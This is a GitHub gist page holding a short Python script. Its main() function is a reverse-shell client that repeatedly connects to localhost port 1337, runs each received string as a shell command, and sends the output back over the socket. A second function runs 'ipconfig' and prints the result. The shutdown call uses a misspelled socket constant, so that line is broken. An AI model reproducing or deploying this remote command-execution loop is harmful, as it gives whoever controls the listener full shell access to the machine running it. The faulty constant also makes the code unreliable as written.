Created
January 8, 2019 03:22
-
-
Save Xifeng2009/3a2ca9732ec61e260ee4040066ffd7fc to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
#!coding: utf-8 | |
import sys | |
import time | |
import socket | |
import subprocess | |
def main(): | |
while True: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect(('localhost', 1337)) | |
except socket.error: | |
time.sleep(3) | |
continue | |
while True: | |
ret = s.recv(1024).decode('utf-8') | |
print(ret) | |
if ret == 'exit': | |
break | |
else: | |
CMD = subprocess.Popen(ret, shell=True, stdout=subprocess.PIPE, | |
stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
s.send(CMD.stdout.read()) | |
s.send(CMD.stderr.read()) | |
s.shutdown(socket.SHUT_RWDR) | |
s.close() | |
break | |
def main2(): | |
cmd = 'ipconfig' | |
sp = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, | |
stdin=subprocess.PIPE) | |
op1 = sp.stdout.read() | |
op2 = sp.stderr.read() | |
print(op1.decode('gbk')) | |
print(op2) | |
if __name__ == '__main__': | |
# main() | |
main2() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment